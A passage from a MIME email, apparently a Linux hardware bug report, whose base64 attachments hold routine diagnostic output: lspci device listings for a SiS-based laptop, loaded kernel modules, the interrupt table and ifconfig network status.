ZmFjZTogU2lsaWNvbiBJbnRlZ3JhdGVkIFN5c3RlbXMgW1NpU10gNTUxMyBbSURFXSAocHJvZy1p ZiA4MCBbTWFzdGVyXSkNCglTdWJzeXN0ZW06IFVuaXdpbGwgQ29tcHV0ZXIgQ29ycDogVW5rbm93 biBkZXZpY2UgNTEwMg0KCUNvbnRyb2w6IEkvTysgTWVtLSBCdXNNYXN0ZXIrIFNwZWNDeWNsZS0g TWVtV0lOVi0gVkdBU25vb3AtIFBhckVyci0gU3RlcHBpbmctIFNFUlItIEZhc3RCMkItDQoJU3Rh dHVzOiBDYXAtIDY2TWh6LSBVREYtIEZhc3RCMkItIFBhckVyci0gREVWU0VMPW1lZGl1bSA+VEFi b3J0LSA8VEFib3J0LSA8TUFib3J0LSA+U0VSUi0gPFBFUlItDQoJTGF0ZW5jeTogMTI4DQoJUmVn aW9uIDQ6IEkvTyBwb3J0cyBhdCBmZmEwIFtzaXplPTE2XQ0KDQowMDowMi42IE1vZGVtOiBTaWxp Y29uIEludGVncmF0ZWQgU3lzdGVtcyBbU2lTXSBJbnRlbCA1MzcgWzU2ayBXaW5tb2RlbV0gKHJl diBhMCkgKHByb2ctaWYgMDAgW0dlbmVyaWNdKQ0KCVN1YnN5c3RlbTogVW5pd2lsbCBDb21wdXRl ciBDb3JwOiBVbmtub3duIGRldmljZSA0MDAzDQoJQ29udHJvbDogSS9PKyBNZW0tIEJ1c01hc3Rl ci0gU3BlY0N5Y2xlLSBNZW1XSU5WLSBWR0FTbm9vcC0gUGFyRXJyLSBTdGVwcGluZy0gU0VSUisg RmFzdEIyQi0NCglTdGF0dXM6IENhcCsgNjZNaHotIFVERi0gRmFzdEIyQisgUGFyRXJyLSBERVZT RUw9bWVkaXVtID5UQWJvcnQtIDxUQWJvcnQtIDxNQWJvcnQtID5TRVJSLSA8UEVSUi0NCglJbnRl cnJ1cHQ6IHBpbiBDIHJvdXRlZCB0byBJUlEgMTENCglSZWdpb24gMDogSS9PIHBvcnRzIGF0IGUw MDAgW3NpemU9MjU2XQ0KCVJlZ2lvbiAxOiBJL08gcG9ydHMgYXQgZWU4MCBbc2l6ZT0xMjhdDQoJ Q2FwYWJpbGl0aWVzOiBbNDhdIFBvd2VyIE1hbmFnZW1lbnQgdmVyc2lvbiAyDQoJCUZsYWdzOiBQ TUVDbGstIERTSS0gRDErIEQyKyBBdXhDdXJyZW50PTU1bUEgUE1FKEQwLSxEMS0sRDItLEQzaG90 KyxEM2NvbGQrKQ0KCQlTdGF0dXM6IEQwIFBNRS1FbmFibGUtIERTZWw9MCBEU2NhbGU9MCBQTUUt DQoNCjAwOjAyLjcgTXVsdGltZWRpYSBhdWRpbyBjb250cm9sbGVyOiBTaWxpY29uIEludGVncmF0 ZWQgU3lzdGVtcyBbU2lTXSBTb3VuZCBDb250cm9sbGVyIChyZXYgYTApDQoJU3Vic3lzdGVtOiBV bml3aWxsIENvbXB1dGVyIENvcnA6IFVua25vd24gZGV2aWNlIDUxMDgNCglDb250cm9sOiBJL08r IE1lbS0gQnVzTWFzdGVyKyBTcGVjQ3ljbGUtIE1lbVdJTlYtIFZHQVNub29wLSBQYXJFcnItIFN0 ZXBwaW5nLSBTRVJSKyBGYXN0QjJCLQ0KCVN0YXR1czogQ2FwKyA2Nk1oei0gVURGLSBGYXN0QjJC KyBQYXJFcnItIERFVlNFTD1tZWRpdW0gPlRBYm9ydC0gPFRBYm9ydC0gPE1BYm9ydC0gPlNFUlIt IDxQRVJSLQ0KCUxhdGVuY3k6IDY0ICgxMzAwMG5zIG1pbiwgMjc1MG5zIG1heCkNCglJbnRlcnJ1 cHQ6IHBpbiBDIHJvdXRlZCB0byBJUlEgMTENCglSZWdpb24gMDogSS9PIHBvcnRzIGF0IGU0MDAg W3NpemU9MjU2XQ0KCVJlZ2lvbiAxOiBJL08gcG9ydHMgYXQgZWMwMCBbc2l6ZT0xMjhdDQoJQ2Fw YWJpbGl0aWVzOiBbNDhdIFBvd2VyIE1hbmFnZW1lbnQgdmVyc2lvbiAyDQoJCUZsYWdzOiBQTUVD bGstIERTSS0gRDErIEQyKyBBdXhDdXJyZW50PTU1bUEgUE1FKEQwLSxEMS0sRDItLEQzaG90KyxE M2NvbGQrKQ0KCQlTdGF0dXM6IEQwIFBNRS1FbmFibGUtIERTZWw9MCBEU2NhbGU9MCBQTUUtDQoN CjAwOjAzLjAgVVNCIENvbnRyb2xsZXI6IFNpbGljb24gSW50ZWdyYXRlZCBTeXN0ZW1zIFtTaVNd IFVTQiAxLjAgQ29udHJvbGxlciAocmV2IDBmKSAocHJvZy1pZiAxMCBbT0hDSV0pDQoJU3Vic3lz dGVtOiBVbml3aWxsIENvbXB1dGVyIENvcnA6IFVua25vd24gZGV2aWNlIDcwMDENCglDb250cm9s OiBJL08rIE1lbSsgQnVzTWFzdGVyKyBTcGVjQ3ljbGUtIE1lbVdJTlYrIFZHQVNub29wLSBQYXJF cnItIFN0ZXBwaW5nLSBTRVJSKyBGYXN0QjJCLQ0KCVN0YXR1czogQ2FwLSA2Nk1oei0gVURGLSBG YXN0QjJCKyBQYXJFcnItIERFVlNFTD1tZWRpdW0gPlRBYm9ydC0gPFRBYm9ydC0gPE1BYm9ydC0g PlNFUlItIDxQRVJSLQ0KCUxhdGVuY3k6IDY0ICgyMDAwMG5zIG1heCkNCglJbnRlcnJ1cHQ6IHBp biBBIHJvdXRlZCB0byBJUlEgMTENCglSZWdpb24gMDogTWVtb3J5IGF0IGRmZmVhMDAwICgzMi1i aXQsIG5vbi1wcmVmZXRjaGFibGUpIFtzaXplPTRLXQ0KDQowMDowMy4xIFVTQiBDb250cm9sbGVy OiBTaWxpY29uIEludGVncmF0ZWQgU3lzdGVtcyBbU2lTXSBVU0IgMS4wIENvbnRyb2xsZXIgKHJl diAwZikgKHByb2ctaWYgMTAgW09IQ0ldKQ0KCVN1YnN5c3RlbTogVW5pd2lsbCBDb21wdXRlciBD b3JwOiBVbmtub3duIGRldmljZSA3MDAxDQoJQ29udHJvbDogSS9PKyBNZW0rIEJ1c01hc3Rlcisg U3BlY0N5Y2xlLSBNZW1XSU5WKyBWR0FTbm9vcC0gUGFyRXJyLSBTdGVwcGluZy0gU0VSUisgRmFz dEIyQi0NCglTdGF0dXM6IENhcC0gNjZNaHotIFVERi0gRmFzdEIyQisgUGFyRXJyLSBERVZTRUw9 bWVkaXVtID5UQWJvcnQtIDxUQWJvcnQtIDxNQWJvcnQtID5TRVJSLSA8UEVSUi0NCglMYXRlbmN5 OiA2NCAoMjAwMDBucyBtYXgpDQoJSW50ZXJydXB0OiBwaW4gQiByb3V0ZWQgdG8gSVJRIDEwDQoJ UmVnaW9uIDA6IE1lbW9yeSBhdCBkZmZlYjAwMCAoMzItYml0LCBub24tcHJlZmV0Y2hhYmxlKSBb c2l6ZT00S10NCg0KMDA6MDMuMiBVU0IgQ29udHJvbGxlcjogU2lsaWNvbiBJbnRlZ3JhdGVkIFN5 c3RlbXMgW1NpU10gVVNCIDEuMCBDb250cm9sbGVyIChyZXYgMGYpIChwcm9nLWlmIDEwIFtPSENJ XSkNCglTdWJzeXN0ZW06IFVuaXdpbGwgQ29tcHV0ZXIgQ29ycDogVW5rbm93biBkZXZpY2UgNzAw MQ0KCUNvbnRyb2w6IEkvTysgTWVtKyBCdXNNYXN0ZXIrIFNwZWNDeWNsZS0gTWVtV0lOVisgVkdB U25vb3AtIFBhckVyci0gU3RlcHBpbmctIFNFUlIrIEZhc3RCMkItDQoJU3RhdHVzOiBDYXAtIDY2 TWh6LSBVREYtIEZhc3RCMkIrIFBhckVyci0gREVWU0VMPW1lZGl1bSA+VEFib3J0LSA8VEFib3J0 LSA8TUFib3J0LSA+U0VSUi0gPFBFUlItDQoJTGF0ZW5jeTogNjQgKDIwMDAwbnMgbWF4KQ0KCUlu dGVycnVwdDogcGluIEMgcm91dGVkIHRvIElSUSAxMQ0KCVJlZ2lvbiAwOiBNZW1vcnkgYXQgZGZm ZWMwMDAgKDMyLWJpdCwgbm9uLXByZWZldGNoYWJsZSkgW3NpemU9NEtdDQoNCjAwOjAzLjMgVVNC IENvbnRyb2xsZXI6IFNpbGljb24gSW50ZWdyYXRlZCBTeXN0ZW1zIFtTaVNdIFVTQiAyLjAgQ29u dHJvbGxlciAocHJvZy1pZiAyMCBbRUhDSV0pDQoJU3Vic3lzdGVtOiBVbml3aWxsIENvbXB1dGVy IENvcnA6IFVua25vd24gZGV2aWNlIDcwMDINCglDb250cm9sOiBJL08tIE1lbSsgQnVzTWFzdGVy KyBTcGVjQ3ljbGUtIE1lbVdJTlYtIFZHQVNub29wLSBQYXJFcnItIFN0ZXBwaW5nLSBTRVJSKyBG YXN0QjJCLQ0KCVN0YXR1czogQ2FwKyA2Nk1oei0gVURGLSBGYXN0QjJCKyBQYXJFcnItIERFVlNF TD1tZWRpdW0gPlRBYm9ydC0gPFRBYm9ydC0gPE1BYm9ydC0gPlNFUlItIDxQRVJSLQ0KCUxhdGVu Y3k6IDY0ICgyMDAwMG5zIG1heCkNCglJbnRlcnJ1cHQ6IHBpbiBEIHJvdXRlZCB0byBJUlEgMTEN CglSZWdpb24gMDogTWVtb3J5IGF0IGRmZmVkMDAwICgzMi1iaXQsIG5vbi1wcmVmZXRjaGFibGUp IFtzaXplPTRLXQ0KCUNhcGFiaWxpdGllczogWzUwXSBQb3dlciBNYW5hZ2VtZW50IHZlcnNpb24g Mg0KCQlGbGFnczogUE1FQ2xrLSBEU0ktIEQxLSBEMi0gQXV4Q3VycmVudD0zNzVtQSBQTUUoRDAr LEQxLSxEMi0sRDNob3QrLEQzY29sZCspDQoJCVN0YXR1czogRDAgUE1FLUVuYWJsZS0gRFNlbD0w IERTY2FsZT0wIFBNRS0NCg0KMDA6MDkuMCBDYXJkQnVzIGJyaWRnZTogTzIgTWljcm8sIEluYy46 IFVua25vd24gZGV2aWNlIDcxMTQgKHJldiAyMCkNCglTdWJzeXN0ZW06IFVuaXdpbGwgQ29tcHV0 ZXIgQ29ycDogVW5rbm93biBkZXZpY2UgMzAwNQ0KCUNvbnRyb2w6IEkvTysgTWVtKyBCdXNNYXN0 ZXIrIFNwZWNDeWNsZS0gTWVtV0lOVi0gVkdBU25vb3AtIFBhckVyci0gU3RlcHBpbmcrIFNFUlIt IEZhc3RCMkItDQoJU3RhdHVzOiBDYXArIDY2TWh6LSBVREYtIEZhc3RCMkItIFBhckVyci0gREVW U0VMPXNsb3cgPlRBYm9ydC0gPFRBYm9ydC0gPE1BYm9ydC0gPlNFUlItIDxQRVJSLQ0KCUxhdGVu Y3k6IDE2OA0KCUludGVycnVwdDogcGluIEEgcm91dGVkIHRvIElSUSAxMA0KCVJlZ2lvbiAwOiBN ZW1vcnkgYXQgNDAwMDAwMDAgKDMyLWJpdCwgbm9uLXByZWZldGNoYWJsZSkgW3NpemU9NEtdDQoJ QnVzOiBwcmltYXJ5PTAwLCBzZWNvbmRhcnk9MDIsIHN1Ym9yZGluYXRlPTA1LCBzZWMtbGF0ZW5j eT0xNzYNCglNZW1vcnkgd2luZG93IDA6IDQwNDAwMDAwLTQwN2ZmMDAwIChwcmVmZXRjaGFibGUp DQoJTWVtb3J5IHdpbmRvdyAxOiA0MDgwMDAwMC00MGJmZjAwMA0KCUkvTyB3aW5kb3cgMDogMDAw MDQwMDAtMDAwMDQwZmYNCglJL08gd2luZG93IDE6IDAwMDA0NDAwLTAwMDA0NGZmDQoJQnJpZGdl Q3RsOiBQYXJpdHktIFNFUlItIElTQS0gVkdBLSBNQWJvcnQtID5SZXNldC0gMTZiSW50KyBQb3N0 V3JpdGUrDQoJMTYtYml0IGxlZ2FjeSBpbnRlcmZhY2UgcG9ydHMgYXQgMDAwMQ0KDQowMDowOS4x IENhcmRCdXMgYnJpZGdlOiBPMiBNaWNybywgSW5jLjogVW5rbm93biBkZXZpY2UgNzExNCAocmV2 IDIwKQ0KCVN1YnN5c3RlbTogVW5pd2lsbCBDb21wdXRlciBDb3JwOiBVbmtub3duIGRldmljZSAz MDA1DQoJQ29udHJvbDogSS9PKyBNZW0rIEJ1c01hc3RlcisgU3BlY0N5Y2xlLSBNZW1XSU5WLSBW R0FTbm9vcC0gUGFyRXJyLSBTdGVwcGluZysgU0VSUi0gRmFzdEIyQi0NCglTdGF0dXM6IENhcCsg NjZNaHotIFVERi0gRmFzdEIyQi0gUGFyRXJyLSBERVZTRUw9c2xvdyA+VEFib3J0LSA8VEFib3J0 LSA8TUFib3J0LSA+U0VSUi0gPFBFUlItDQoJTGF0ZW5jeTogMTY4DQoJSW50ZXJydXB0OiBwaW4g QSByb3V0ZWQgdG8gSVJRIDEwDQoJUmVnaW9uIDA6IE1lbW9yeSBhdCA0MDAwMTAwMCAoMzItYml0 LCBub24tcHJlZmV0Y2hhYmxlKSBbc2l6ZT00S10NCglCdXM6IHByaW1hcnk9MDAsIHNlY29uZGFy eT0wNiwgc3Vib3JkaW5hdGU9MDksIHNlYy1sYXRlbmN5PTE3Ng0KCU1lbW9yeSB3aW5kb3cgMDog NDBjMDAwMDAtNDBmZmYwMDAgKHByZWZldGNoYWJsZSkNCglNZW1vcnkgd2luZG93IDE6IDQxMDAw MDAwLTQxM2ZmMDAwDQoJSS9PIHdpbmRvdyAwOiAwMDAwNDgwMC0wMDAwNDhmZg0KCUkvTyB3aW5k b3cgMTogMDAwMDRjMDAtMDAwMDRjZmYNCglCcmlkZ2VDdGw6IFBhcml0eS0gU0VSUi0gSVNBLSBW R0EtIE1BYm9ydC0gPlJlc2V0LSAxNmJJbnQrIFBvc3RXcml0ZSsNCgkxNi1iaXQgbGVnYWN5IGlu dGVyZmFjZSBwb3J0cyBhdCAwMDAxDQoNCjAwOjA5LjIgU3lzdGVtIHBlcmlwaGVyYWw6IE8yIE1p Y3JvLCBJbmMuOiBVbmtub3duIGRldmljZSA3MTEwDQoJU3Vic3lzdGVtOiBVbml3aWxsIENvbXB1 dGVyIENvcnA6IFVua25vd24gZGV2aWNlIDMwMDUNCglDb250cm9sOiBJL08rIE1lbSsgQnVzTWFz dGVyLSBTcGVjQ3ljbGUtIE1lbVdJTlYtIFZHQVNub29wLSBQYXJFcnItIFN0ZXBwaW5nLSBTRVJS KyBGYXN0QjJCLQ0KCVN0YXR1czogQ2FwKyA2Nk1oei0gVURGLSBGYXN0QjJCLSBQYXJFcnItIERF VlNFTD1zbG93ID5UQWJvcnQtIDxUQWJvcnQtIDxNQWJvcnQtID5TRVJSLSA8UEVSUi0NCglJbnRl cnJ1cHQ6IHBpbiBBIHJvdXRlZCB0byBJUlEgMTANCglSZWdpb24gMDogTWVtb3J5IGF0IGRmZmVl MDAwICgzMi1iaXQsIG5vbi1wcmVmZXRjaGFibGUpIFtzaXplPTRLXQ0KCUNhcGFiaWxpdGllczog W2EwXSBQb3dlciBNYW5hZ2VtZW50IHZlcnNpb24gMg0KCQlGbGFnczogUE1FQ2xrLSBEU0ktIEQx KyBEMisgQXV4Q3VycmVudD0wbUEgUE1FKEQwKyxEMSssRDIrLEQzaG90KyxEM2NvbGQrKQ0KCQlT dGF0dXM6IEQwIFBNRS1FbmFibGUtIERTZWw9MCBEU2NhbGU9MCBQTUUtDQoNCjAwOjBhLjAgRXRo ZXJuZXQgY29udHJvbGxlcjogUmVhbHRlayBTZW1pY29uZHVjdG9yIENvLiwgTHRkLiBSVEwtODE2 OSAocmV2IDEwKQ0KCVN1YnN5c3RlbTogVW5pd2lsbCBDb21wdXRlciBDb3JwOiBVbmtub3duIGRl dmljZSA1MTA4DQoJQ29udHJvbDogSS9PKyBNZW0rIEJ1c01hc3RlcisgU3BlY0N5Y2xlLSBNZW1X SU5WKyBWR0FTbm9vcC0gUGFyRXJyLSBTdGVwcGluZy0gU0VSUisgRmFzdEIyQi0NCglTdGF0dXM6 IENhcCsgNjZNaHorIFVERi0gRmFzdEIyQisgUGFyRXJyLSBERVZTRUw9bWVkaXVtID5UQWJvcnQt IDxUQWJvcnQtIDxNQWJvcnQtID5TRVJSLSA8UEVSUi0NCglMYXRlbmN5OiA2NCAoODAwMG5zIG1p biwgMTYwMDBucyBtYXgpLCBjYWNoZSBsaW5lIHNpemUgMTANCglJbnRlcnJ1cHQ6IHBpbiBBIHJv dXRlZCB0byBJUlEgMw0KCVJlZ2lvbiAwOiBJL08gcG9ydHMgYXQgZTgwMCBbc2l6ZT0yNTZdDQoJ UmVnaW9uIDE6IE1lbW9yeSBhdCBkZmZlZmMwMCAoMzItYml0LCBub24tcHJlZmV0Y2hhYmxlKSBb c2l6ZT0yNTZdDQoJRXhwYW5zaW9uIFJPTSBhdCBkZmZjMDAwMCBbZGlzYWJsZWRdIFtzaXplPTEy OEtdDQoJQ2FwYWJpbGl0aWVzOiBbZGNdIFBvd2VyIE1hbmFnZW1lbnQgdmVyc2lvbiAyDQoJCUZs YWdzOiBQTUVDbGstIERTSS0gRDErIEQyKyBBdXhDdXJyZW50PTM3NW1BIFBNRShEMC0sRDErLEQy KyxEM2hvdCssRDNjb2xkKykNCgkJU3RhdHVzOiBEMCBQTUUtRW5hYmxlLSBEU2VsPTAgRFNjYWxl PTAgUE1FLQ0KDQowMDowYi4wIEV0aGVybmV0IGNvbnRyb2xsZXI6IFVua25vd24gZGV2aWNlIDE2 OGM6MDAxMyAocmV2IDAxKQ0KCVN1YnN5c3RlbTogVW5rbm93biBkZXZpY2UgMTg1ZjoxMDEyDQoJ Q29udHJvbDogSS9PLSBNZW0rIEJ1c01hc3RlcisgU3BlY0N5Y2xlLSBNZW1XSU5WKyBWR0FTbm9v cC0gUGFyRXJyLSBTdGVwcGluZy0gU0VSUisgRmFzdEIyQi0NCglTdGF0dXM6IENhcCsgNjZNaHot IFVERi0gRmFzdEIyQisgUGFyRXJyLSBERVZTRUw9bWVkaXVtID5UQWJvcnQtIDxUQWJvcnQtIDxN QWJvcnQtID5TRVJSLSA8UEVSUi0NCglMYXRlbmN5OiA2NCAoMjUwMG5zIG1pbiwgNzAwMG5zIG1h eCksIGNhY2hlIGxpbmUgc2l6ZSAxMA0KCUludGVycnVwdDogcGluIEEgcm91dGVkIHRvIElSUSAx MA0KCVJlZ2lvbiAwOiBNZW1vcnkgYXQgZGZmZjAwMDAgKDMyLWJpdCwgbm9uLXByZWZldGNoYWJs ZSkgW3NpemU9NjRLXQ0KCUNhcGFiaWxpdGllczogWzQ0XSBQb3dlciBNYW5hZ2VtZW50IHZlcnNp b24gMg0KCQlGbGFnczogUE1FQ2xrLSBEU0ktIEQxLSBEMi0gQXV4Q3VycmVudD0wbUEgUE1FKEQw LSxEMS0sRDItLEQzaG90LSxEM2NvbGQtKQ0KCQlTdGF0dXM6IEQwIFBNRS1FbmFibGUtIERTZWw9 MCBEU2NhbGU9MiBQTUUtDQoNCjAxOjAwLjAgVkdBIGNvbXBhdGlibGUgY29udHJvbGxlcjogblZp ZGlhIENvcnBvcmF0aW9uOiBVbmtub3duIGRldmljZSAwMzFhIChyZXYgYTEpIChwcm9nLWlmIDAw IFtWR0FdKQ0KCVN1YnN5c3RlbTogVW5pd2lsbCBDb21wdXRlciBDb3JwOiBVbmtub3duIGRldmlj ZSAyMjYyDQoJQ29udHJvbDogSS9PKyBNZW0rIEJ1c01hc3RlcisgU3BlY0N5Y2xlLSBNZW1XSU5W LSBWR0FTbm9vcC0gUGFyRXJyLSBTdGVwcGluZy0gU0VSUi0gRmFzdEIyQi0NCglTdGF0dXM6IENh cCsgNjZNaHorIFVERi0gRmFzdEIyQisgUGFyRXJyLSBERVZTRUw9bWVkaXVtID5UQWJvcnQtIDxU QWJvcnQtIDxNQWJvcnQtID5TRVJSLSA8UEVSUi0NCglMYXRlbmN5OiAyNDggKDEyNTBucyBtaW4s IDI1MG5zIG1heCkNCglJbnRlcnJ1cHQ6IHBpbiBBIHJvdXRlZCB0byBJUlEgMTENCglSZWdpb24g MDogTWVtb3J5IGF0IGRlMDAwMDAwICgzMi1iaXQsIG5vbi1wcmVmZXRjaGFibGUpIFtzaXplPTE2 TV0NCglSZWdpb24gMTogTWVtb3J5IGF0IGMwMDAwMDAwICgzMi1iaXQsIHByZWZldGNoYWJsZSkg W3NpemU9MjU2TV0NCglFeHBhbnNpb24gUk9NIGF0IGRmZWUwMDAwIFtkaXNhYmxlZF0gW3NpemU9 MTI4S10NCglDYXBhYmlsaXRpZXM6IFs2MF0gUG93ZXIgTWFuYWdlbWVudCB2ZXJzaW9uIDINCgkJ RmxhZ3M6IFBNRUNsay0gRFNJLSBEMS0gRDItIEF1eEN1cnJlbnQ9MG1BIFBNRShEMC0sRDEtLEQy LSxEM2hvdC0sRDNjb2xkLSkNCgkJU3RhdHVzOiBEMCBQTUUtRW5hYmxlLSBEU2VsPTAgRFNjYWxl PTAgUE1FLQ0KCUNhcGFiaWxpdGllczogWzQ0XSBBR1AgdmVyc2lvbiAzLjANCgkJU3RhdHVzOiBS UT0zMiBJc28tIEFycVN6PTAgQ2FsPTMgU0JBKyBJVEFDb2gtIEdBUlQ2NC0gSFRyYW5zLSA2NGJp dC0gRlctIEFHUDMrIFJhdGU9eDQseDgNCgkJQ29tbWFuZDogUlE9MSBBcnFTej0wIENhbD0wIFNC QS0gQUdQLSBHQVJUNjQtIDY0Yml0LSBGVy0gUmF0ZT08bm9uZT4NCg0K --=-dz+BR0MQyEpTpwYPNQoK Content-Disposition: attachment; filename=lsmod.txt Content-Type: text/plain; name=lsmod.txt; charset=ANSI_X3.4-1968 Content-Transfer-Encoding: base64 TW9kdWxlICAgICAgICAgICAgICAgICAgU2l6ZSAgVXNlZCBieQ0KbWQ1ICAgICAgICAgICAgICAg ICAgICAgMzcxMiAgMSANCmlwdjYgICAgICAgICAgICAgICAgICAyMzQwODAgIDEyIA0KcGFycG9y dF9wYyAgICAgICAgICAgICAyMzk0NCAgMSANCmxwICAgICAgICAgICAgICAgICAgICAgIDkwNjAg IDAgDQpwYXJwb3J0ICAgICAgICAgICAgICAgIDM2MDMyICAyIHBhcnBvcnRfcGMsbHANCmhpZCAg ICAgICAgICAgICAgICAgICAgMjMyOTYgIDAgDQpzaXNfYWdwICAgICAgICAgICAgICAgICA0MjI0 ICAxIA0KYWdwZ2FydCAgICAgICAgICAgICAgICAyNjE4NCAgMSBzaXNfYWdwDQpvaGNpMTM5NCAg ICAgICAgICAgICAgIDMxODcyICAwIA0KaWVlZTEzOTQgICAgICAgICAgICAgIDI3ODY3MiAgMSBv aGNpMTM5NA0Kb2hjaV9oY2QgICAgICAgICAgICAgICAxNjI1NiAgMCANCmVoY2lfaGNkICAgICAg ICAgICAgICAgMjI3ODQgIDAgDQp5ZW50YV9zb2NrZXQgICAgICAgICAgIDE0NDY0ICAwIA0KcGNt Y2lhX2NvcmUgICAgICAgICAgICA1MzUwNCAgMSB5ZW50YV9zb2NrZXQNCnI4MTY5ICAgICAgICAg ICAgICAgICAgIDk3MjggIDAgDQpzbmRfaW50ZWw4eDAgICAgICAgICAgIDI4MjI4ICAxIA0Kc25k X2FjOTdfY29kZWMgICAgICAgICA1MTU4OCAgMSBzbmRfaW50ZWw4eDANCnNuZF9tcHU0MDFfdWFy dCAgICAgICAgIDYxNDQgIDEgc25kX2ludGVsOHgwDQpzbmRfcmF3bWlkaSAgICAgICAgICAgIDIw NDgwICAxIHNuZF9tcHU0MDFfdWFydA0Kc25kX3NlcV9vc3MgICAgICAgICAgICAzMTc0NCAgMCAN CnNuZF9zZXFfbWlkaV9ldmVudCAgICAgIDYyNzIgIDEgc25kX3NlcV9vc3MNCnNuZF9zZXEgICAg ICAgICAgICAgICAgNTE0NDAgIDQgc25kX3NlcV9vc3Msc25kX3NlcV9taWRpX2V2ZW50DQpzbmRf c2VxX2RldmljZSAgICAgICAgICA2NTMyICAzIHNuZF9yYXdtaWRpLHNuZF9zZXFfb3NzLHNuZF9z ZXENCnNuZF9wY21fb3NzICAgICAgICAgICAgNDgwMDQgIDAgDQpzbmRfcGNtICAgICAgICAgICAg ICAgIDg0ODY0ICAyIHNuZF9pbnRlbDh4MCxzbmRfcGNtX29zcw0Kc25kX3BhZ2VfYWxsb2MgICAg ICAgICAgOTA5MiAgMiBzbmRfaW50ZWw4eDAsc25kX3BjbQ0Kc25kX3RpbWVyICAgICAgICAgICAg ICAyMTM3NiAgMiBzbmRfc2VxLHNuZF9wY20NCnNuZF9taXhlcl9vc3MgICAgICAgICAgMTY4OTYg IDIgc25kX3BjbV9vc3MNCnNuZCAgICAgICAgICAgICAgICAgICAgNDI3NTYgIDEyIHNuZF9pbnRl bDh4MCxzbmRfYWM5N19jb2RlYyxzbmRfbXB1NDAxX3VhcnQsc25kX3Jhd21pZGksc25kX3NlcV9v c3Msc25kX3NlcV9taWRpX2V2ZW50LHNuZF9zZXEsc25kX3NlcV9kZXZpY2Usc25kX3BjbV9vc3Ms c25kX3BjbSxzbmRfdGltZXIsc25kX21peGVyX29zcw0KcnRjICAgICAgICAgICAgICAgICAgICAx MDc5MiAgMCANCnVzYmNvcmUgICAgICAgICAgICAgICAgOTU0NDQgIDUgaGlkLG9oY2lfaGNkLGVo Y2lfaGNkDQpubHNfaXNvODg1OV8xICAgICAgICAgICAzOTY4ICAxIA0KbnRmcyAgICAgICAgICAg ICAgICAgICA4NjAzNiAgMSANCm52aWRpYSAgICAgICAgICAgICAgIDE3MDE2MTIgIDggDQppZGVf Y2QgICAgICAgICAgICAgICAgIDM3Mzc2ICAwIA0KY2Ryb20gICAgICAgICAgICAgICAgICAzNjEy OCAgMSBpZGVfY2QNCg== --=-dz+BR0MQyEpTpwYPNQoK Content-Disposition: attachment; filename=interrupts.txt Content-Type: text/plain; name=interrupts.txt; charset=ANSI_X3.4-1968 Content-Transfer-Encoding: base64 ICAgICAgICAgICBDUFUwICAgICAgIA0KICAwOiAgICAgNjMyODI0ICAgICAgICAgIFhULVBJQyAg dGltZXINCiAgMTogICAgICAgMjQ0NSAgICAgICAgICBYVC1QSUMgIGk4MDQyDQogIDI6ICAgICAg ICAgIDAgICAgICAgICAgWFQtUElDICBjYXNjYWRlDQogIDM6ICAgICAgICA0MTQgICAgICAgICAg WFQtUElDICBldGgwDQogIDg6ICAgICAgICAgIDIgICAgICAgICAgWFQtUElDICBydGMNCiAxMDog ICAgICAgICA2NiAgICAgICAgICBYVC1QSUMgIGFjcGksIHllbnRhLCB5ZW50YSwgb2hjaV9oY2Qs IG9oY2kxMzk0DQogMTE6ICAgICAgMzk3MzYgICAgICAgICAgWFQtUElDICBTaVMgU0k3MDEyLCBl aGNpX2hjZCwgb2hjaV9oY2QsIG9oY2lfaGNkLCBudmlkaWENCiAxMjogICAgICAyMDIzMiAgICAg ICAgICBYVC1QSUMgIGk4MDQyDQogMTQ6ICAgICAgIDk4MzAgICAgICAgICAgWFQtUElDICBpZGUw DQogMTU6ICAgICAgICAgNTMgICAgICAgICAgWFQtUElDICBpZGUxDQpOTUk6ICAgICAgICAgIDAg DQpFUlI6ICAgICAgICAgIDANCg== --=-dz+BR0MQyEpTpwYPNQoK Content-Disposition: attachment; filename=ifconfig.txt Content-Type: text/plain; name=ifconfig.txt; charset=ANSI_X3.4-1968 Content-Transfer-Encoding: base64 ZXRoMCAgICAgIExpbmsgZW5jYXA6RXRoZXJuZXQgIEhXYWRkciAwMDowMzowRDoxMDo0NTozQyAg DQogICAgICAgICAgaW5ldCBhZGRyOjE5Mi4xNjguMi4xNjUgIEJjYXN0OjE5Mi4xNjguMi4yNTUg IE1hc2s6MjU1LjI1NS4yNTUuMA0KICAgICAgICAgIGluZXQ2IGFkZHI6IGZlODA6OjIwMzpkZmY6 ZmUxMDo0NTNjLzY0IFNjb3BlOkxpbmsNCiAgICAgICAgICBVUCBCUk9BRENBU1QgTk9UUkFJTEVS UyBSVU5OSU5HIE1VTFRJQ0FTVCAgTVRVOjE1MDAgIE1ldHJpYzoxDQogICAgICAgICAgUlggcGFj a2V0czoyMTQgZXJyb3JzOjAgZHJvcHBlZDowIG92ZXJydW5zOjAgZnJhbWU6MA0KICAgICAgICAg IFRYIHBhY2tldHM6MjEzIGVycm9yczowIGRyb3BwZWQ6MCBvdmVycnVuczowIGNhcnJpZXI6MA0K ICAgICAgICAgIGNvbGxpc2lvbnM6MCB0eHF1ZXVlbGVuOjEwMDAgDQogICAgICAgICAgUlggYnl0 ZXM6MTU5NjA1ICgxNTUuOCBLYikgIFRYIGJ5dGVzOjAgKDAuMCBiKQ0KICAgICAgICAgIEludGVy cnVwdDozIEJhc2UgYWRkcmVzczoweGVjMDAgDQoNCmxvICAgICAgICBMaW5rIGVuY2FwOkxvY2Fs IExvb3BiYWNrICANCiAgICAgICAgICBpbmV0IGFkZHI6MTI3LjAuMC4xICBNYXNrOjI1NS4wLjAu MA0KICAgICAgICAgIGluZXQ2IGFkZHI6IDo6MS8xMjggU2NvcGU6SG9zdA0KICAgICAgICAgIFVQ IExPT1BCQUNLIFJVTk5JTkcgIE1UVToxNjQzNiAgTWV0cmljOjENCiAgICAgICAgICBSWCBwYWNr ZXRzOjE4NiBlcnJvcnM6MCBkcm9wcGVkOjAgb3ZlcnJ1bnM6MCBmcmFtZTowDQogICAgICAgICAg VFggcGFja2V0czoxODYgZXJyb3JzOjAgZHJvcHBlZDowIG92ZXJydW5zOjAgY2FycmllcjowDQog ICAgICAgICAgY29sbGlzaW9uczowIHR4cXVldWVsZW46MCANCiAgICAgICAgICBSWCBieXRlczoy ODY2OCAoMjcuOSBLYikgIFRYIGJ5dGVzOjI4NjY4ICgyNy45IEtiKQ0KDQo= --=-dz+BR0MQyEpTpwYPNQoK-- --=-+b+o+Nauv6IRsJ8frHIt Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) 